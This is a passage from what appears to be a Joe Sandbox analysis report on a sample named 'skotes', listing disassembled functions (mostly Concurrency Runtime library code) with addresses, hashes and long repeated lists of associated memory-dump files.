Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 987170f0b71bfce542e0483d9c37ca936e7e651f7de65ca7a19c8abe942a7a7d
Instruction ID: acad58f6bcac79e2d22e4ba0c0940bb0db220bd87783b322ba522bd38b8374b9
Opcode Fuzzy Hash: 987170f0b71bfce542e0483d9c37ca936e7e651f7de65ca7a19c8abe942a7a7d
Instruction Fuzzy Hash: 36E06D39161226D6EA3133659D41BAFBA589B427A1F1B1223ED6796790EF20DC0082F1

Function 00AE1775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,00AE1B65,?,?,00000000,?,00AE1B65,00000000,0000000C), ref: 00AE1792

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 5cb97f737d06a98613c1be1d190ebbd2ff21b3843dbbeab68e30a594de755685
Instruction ID: 9434e961dc33dd1c8435c82f3d28e6b148efaac28aed5375d975e909f7f249eb
Opcode Fuzzy Hash: 5cb97f737d06a98613c1be1d190ebbd2ff21b3843dbbeab68e30a594de755685
Instruction Fuzzy Hash: 78D0923204010DBFDF129E84DD02EDA3BAAFB48754F015110BE1866020C772FC31AB94

Function 04AA02C5 Relevance: .1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2938705345.0000000004AA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4aa0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36cdcf84a449469db6a7d4527b978e779bfbd7f56a2212588627da0482ead23b
Instruction ID: 9a6ce7e9da4b92a379b1afd161cc54e651d3fbd6533c28d4b0d5b048ebb08f0a
Opcode Fuzzy Hash: 36cdcf84a449469db6a7d4527b978e779bfbd7f56a2212588627da0482ead23b
Instruction Fuzzy Hash: 72218EFB24C2107E71029A952B189FAAB7DE5C3A34331C47AF442DB506F7D55E1E6131

Function 04AA02AD Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2938705345.0000000004AA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4aa0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f34b839812da251e21783b384128e43fcde1c7cf82c68bfec2f60aa84d25736
Instruction ID: 1780eefc54156d05b071e86778946806aa098b598385b54a8d9a59a54e54ff45
Opcode Fuzzy Hash: 9f34b839812da251e21783b384128e43fcde1c7cf82c68bfec2f60aa84d25736
Instruction Fuzzy Hash: 2C118EFB24C2107EB10289952B549F66B7DE5C2730331C47AF403DB602E3DA4A1D6131

Function 04AA02DE Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2938705345.0000000004AA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4aa0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1a21c02ca04bad641a5dc3ce1ccf367427939449b38374159c1239fb45f9b86
Instruction ID: d4e2c657cf41969ee7595f0a77893e6036438f731eadf7e4778537749a075a03
Opcode Fuzzy Hash: b1a21c02ca04bad641a5dc3ce1ccf367427939449b38374159c1239fb45f9b86
Instruction Fuzzy Hash: 40014CFB24D2007EB10289926B28AF7A7BDE6D2B30731C476F442D3502E7D54A0E6131

Function 04AA02A8 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2938705345.0000000004AA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4aa0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21a8c7cf9996bbb438c24eeb9e17c35a6a133f65763b658b4e8247db49c06b98
Instruction ID: a73997e8d6ef9e8546129746f80332df78ac335fa6e6b8936bac5dad0d98c889
Opcode Fuzzy Hash: 21a8c7cf9996bbb438c24eeb9e17c35a6a133f65763b658b4e8247db49c06b98
Instruction Fuzzy Hash: 590104FB24C210BE710289962B289F7AB7DE5C2A30331C47AF503D7606E7D95A1D6131

Function 04AA0305 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2938705345.0000000004AA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4aa0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7243a1b80b20401e5937ca73dc30c7b7d68b0b9e66841d7b2c5778688025a639
Instruction ID: bc66f9658415f1ed2c88b6a9bd56ab609c41125493fcfc99db1f34d942c85e03
Opcode Fuzzy Hash: 7243a1b80b20401e5937ca73dc30c7b7d68b0b9e66841d7b2c5778688025a639
Instruction Fuzzy Hash: 68F0C9FB24C1107D710285962B289F76BBDE4D6B31331C87BF442D6506E3DA0B5E6131

Function 04AA0326 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2938705345.0000000004AA0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04AA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4aa0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0de98840d44aa74b06c1a5faaafe285a40d29f342008bb945797349aab8577e
Instruction ID: 94c09cde364a40b34ac282eaea6db98bd881e570d39ca2ace679395ef2681087
Opcode Fuzzy Hash: a0de98840d44aa74b06c1a5faaafe285a40d29f342008bb945797349aab8577e
Instruction Fuzzy Hash: 13F059FB24C1213D711194963F64AFB576EE4D2A70371C47BF442D2946E7894A5E6031

Non-executed Functions

Function 00AC0E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00AC0F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00AC0F62

Part of subcall function 00AC265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 00AC2750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00AC0FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00AC0FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00AC103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00AC106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00AC10C1

Strings

(, xrefs: 00AC0F22

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: 0f318cf3b392fd7a5937bd02140868684ba29fb28a40b1e4a0c2806efcd4b5d0
Instruction ID: e020124ba139ca6dc35e648adb8e4bb7876253956e9a4b6348e43299c2ddd5b4
Opcode Fuzzy Hash: 0f318cf3b392fd7a5937bd02140868684ba29fb28a40b1e4a0c2806efcd4b5d0
Instruction Fuzzy Hash: 6DB15B70A00615EFDB28CF68D990F7AB7B5FF49300F16416DE905AB652D734AD81CBA0

Function 00AC1602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00AC2CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00AC2D0F

Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00AC1614

Part of subcall function 00AC2E0F: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 00AC2E39
Part of subcall function 00AC2E0F: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00AC2EA8

Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 00AC1746
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 00AC17A6
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 00AC17B2
Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 00AC17ED
Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 00AC180E
Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 00AC181A
Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00AC1823
Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 00AC183B

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
String ID:
API String ID: 2508902052-0
Opcode ID: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction ID: efd0aeba06ec2c336113eec1ac03a7cd87da436acef2205f5353da2bd818cb1a
Opcode Fuzzy Hash: aa9f8f36a8b7b44e1180d435f458fb72d8e9ffd861c0e8264618b64b20c70f21
Instruction Fuzzy Hash: F2815871F006259FCB19DFA9C580A6DB7F2FF49304B1646ADE445AB702C770AD52CB84

Function 00ACEC48 Relevance: 6.1, APIs: 4, Instructions: 139COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00ACEC81

Part of subcall function 00AC8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00AC8F50

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00ACECE7
Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 00ACECFF
Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 00ACED0C

Part of subcall function 00ACE7AF: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00ACE7D7
Part of subcall function 00ACE7AF: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 00ACE86F
Part of subcall function 00ACE7AF: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00ACE879
Part of subcall function 00ACE7AF: Concurrency::location::_Assign.LIBCMT ref: 00ACE8AD
Part of subcall function 00ACE7AF: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00ACE8B5

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
